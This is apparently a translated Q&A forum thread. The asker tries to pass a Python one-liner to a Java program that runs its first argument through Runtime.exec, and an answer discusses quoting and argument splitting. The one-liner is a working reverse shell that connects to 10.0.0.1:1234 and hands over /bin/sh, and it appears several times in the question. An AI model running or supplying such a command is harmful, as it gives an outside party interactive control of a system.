鉴于以下java
代码,如何将以下python
语句作为参数传递给java
代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
java代码:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
我使用:
执行java代码java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
但它抛出syntax error near unexpected token
('`。如果我在开头和结尾使用双引号
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
它扔了:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
非常感谢任何帮助。
答案 0 :(得分:0)
正如您所指出的,这非常令人困惑。你试图将所有内容作为一个参数传递,并且引用变得困难。如果你需要显式参数,我认为你必须向你的Java程序传递三个参数,即:
e.g。
java Exec python -c "script quoted and escaped properly"
但也许你可以通过运行&#39; python&#39;来规避这一点。和passing the name of the file containing your script?(为什么你需要指定&#39; python&#39;和&#39; -c&#39; - 可以在你的程序中硬编码吗?)
但是,从根本上说,为什么使用Java来执行Python程序来生成bash shell?如果你在Java平台上,我会看看如何实现你真正想要的,而不必使用不同的技术分叉子进程。